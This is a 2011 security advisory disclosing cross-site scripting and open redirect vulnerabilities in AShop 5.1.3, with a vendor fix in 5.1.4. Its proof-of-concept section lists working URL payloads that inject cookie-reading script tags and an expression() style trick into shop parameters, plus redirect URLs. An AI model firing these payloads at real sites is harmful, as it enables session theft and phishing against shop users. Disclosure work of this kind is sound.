Advisory: Multiple security vulnerabilities in AShop Advisory ID: INFOSERVE-ADV2011-02 Author: Stefan Schurtz Contact: security@xxxxxxxxxxxx Affected Software: Successfully tested on AShop513 Vendor URL: http://www.ashopsoftware.com/ Vendor Status: fixed in Version 5.1.4 ========================== Vulnerability Description: ========================== AShop is prone to multiple security vulnerabilities. ================== PoC-Exploit ================== Cross-Site-Scripting IE8 http://<target>/ashop/?'"<script>alert(document.cookie)</script> http://<target>/ashop/index.php?'"<script>alert(document.cookie)</script> http://<target>/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns=" http://<target>/ashop/index.php?language='"<script>alert(document.cookie)</script> FF 7.1 http://<target>/ashop/index.php?searchstring=1&showresult=true&exp='"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1 http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage='"</script><script>alert(document.cookie)</script>&msg= http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg='"</script><script>alert(document.cookie)</script> http://<target>/ashop/basket.php?cat=0&sid='"</script><script>alert(document.cookie)</script>&shop=1&payoption=3 Open Redirection http://<target>/ashop/language.php?language=sv&redirect=http://www.google.com http://<target>/ashop/currency.php?currency=aud&redirect=http://www.google.com http://<target>/ashop/currency.php?redirect=http://www.google.com ========= Solution: ========= Upgrade to the latest Version 5.1.4 ==================== Disclosure Timeline: ==================== 04-Nov-2011 - informed vendor by contact form 08-Nov-2011 - second contact attempt 09-Nov-2011 - vendor fix ======== Credits: ======== Vulnerabilities found and advisory written by the INFOSERVE Security Team =========== References: =========== http://www.ashopsoftware.com/ http://sourceforge.net/projects/ashop/files/
